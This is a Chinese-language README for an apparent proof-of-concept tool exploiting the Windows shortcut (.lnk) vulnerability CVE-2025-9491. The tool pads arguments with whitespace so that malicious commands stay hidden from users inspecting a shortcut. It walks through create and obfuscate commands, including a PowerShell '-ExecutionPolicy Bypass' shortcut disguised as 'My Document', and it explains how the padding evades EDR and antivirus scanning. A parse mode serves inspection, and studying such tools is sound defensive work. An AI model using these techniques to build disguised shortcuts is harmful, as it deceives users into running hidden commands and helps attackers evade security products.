一个概念验证工具,用于演示 Windows 快捷方式 (.lnk) 文件漏洞 (ZDI-CAN-25373/CVE-2025-9491)。该工具展示了如何通过利用空白字符填充,在 .lnk 文件中隐藏恶意命令行参数。
本工具仅供教育和授权的安全测试目的使用。未经授权的计算机系统访问是违法的。仅在你拥有或已获得明确许可的系统上使用此工具。
这是一个概念验证工具,用于创建和操作 Windows .lnk(快捷方式)文件,以演示 CVE-2025-9491 漏洞。该工具允许用户:
该漏洞利用了 Windows 显示快捷方式文件属性的方式,使攻击者能够向检查快捷方式的用户隐藏恶意命令行参数。
CVE-2025-9491 是一个影响 .lnk(快捷方式)文件的 Windows UI 误表示漏洞。它由 Trend Micro 的 Zero Day Initiative (ZDI-CAN-25373) 发现,自 2017 年以来已被国家支持的 APT 组织利用(更多详情请参见致谢)。
该漏洞利用了 Windows 快捷方式 UI 中固定大小的“目标”字段。通过在参数中添加空白字符(空格、制表符、换行符、回车符)进行填充,攻击者可以:隐藏恶意命令并执行隐藏的有效载荷。这还可用于逃避检测,因为检查快捷方式的用户只会看到填充的空白字符,而看不到真实命令;EDR 将在遥测数据中看到极长的命令行,如果长度足够,常见的 EPP 或防病毒软件将放弃读取全部内容。
需要 Python 3.7 或更高版本。
克隆或下载仓库:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
安装依赖:
快速方法,建议使用虚拟环境。
pip install -r requirements.txt
运行工具:
python main.py --help
该工具有三种主要模式:create(创建)、obfuscate(混淆)和 parse(解析)。
从头开始创建一个新的混淆 LNK 文件。
语法:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [选项]
必需参数:
-t, --target - 目标可执行文件的路径-a, --arguments - 传递给目标可执行文件的参数-o, --output - 输出 LNK 文件的目标路径可选参数:
-c, --charset - 用于填充的自定义字符集(十六进制格式)
20,09,0A,0B,0C,0D(空格、制表符、LF、VT、FF、CR)-s, --padding_size - 填充字符的数量
128(已知无限制)-p, --pattern_type - 填充模式样式
-i, --icon - 快捷方式的自定义图标路径
-d, --description - 快捷方式的可见描述
-v, --verbose - 启用详细输出
示例:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
在现有 LNK 文件的参数中添加填充。
语法:
python main.py obfuscate -i INPUT -o OUTPUT [选项]
必需参数:
-i, --input - 要混淆的现有 LNK 文件路径-o, --output - 输出 LNK 文件的目标路径可选参数:
-c, --charset - 用于填充的自定义字符集(十六进制格式)
20,09,0A,0B,0C,0D-s, --padding_size - 填充字符的数量
128-p, --pattern_type - 填充模式样式
-v, --verbose - 启用详细输出
示例:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
显示现有 LNK 文件的内容。
语法:
python main.py parse -i INPUT
必需参数:
-i, --input - 要解析并显示的 LNK 文件路径示例:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
这将创建一个指向 cmd.exe 的快捷方式,其隐藏的 PowerShell 命令前有 200 个随机填充字符。
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
这将在现有快捷方式的参数中添加 512 个单一模式填充字符(使用空格和制表符)。
python main.py parse -i "suspicious.lnk"
输出显示所有属性,包括隐藏的参数。
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"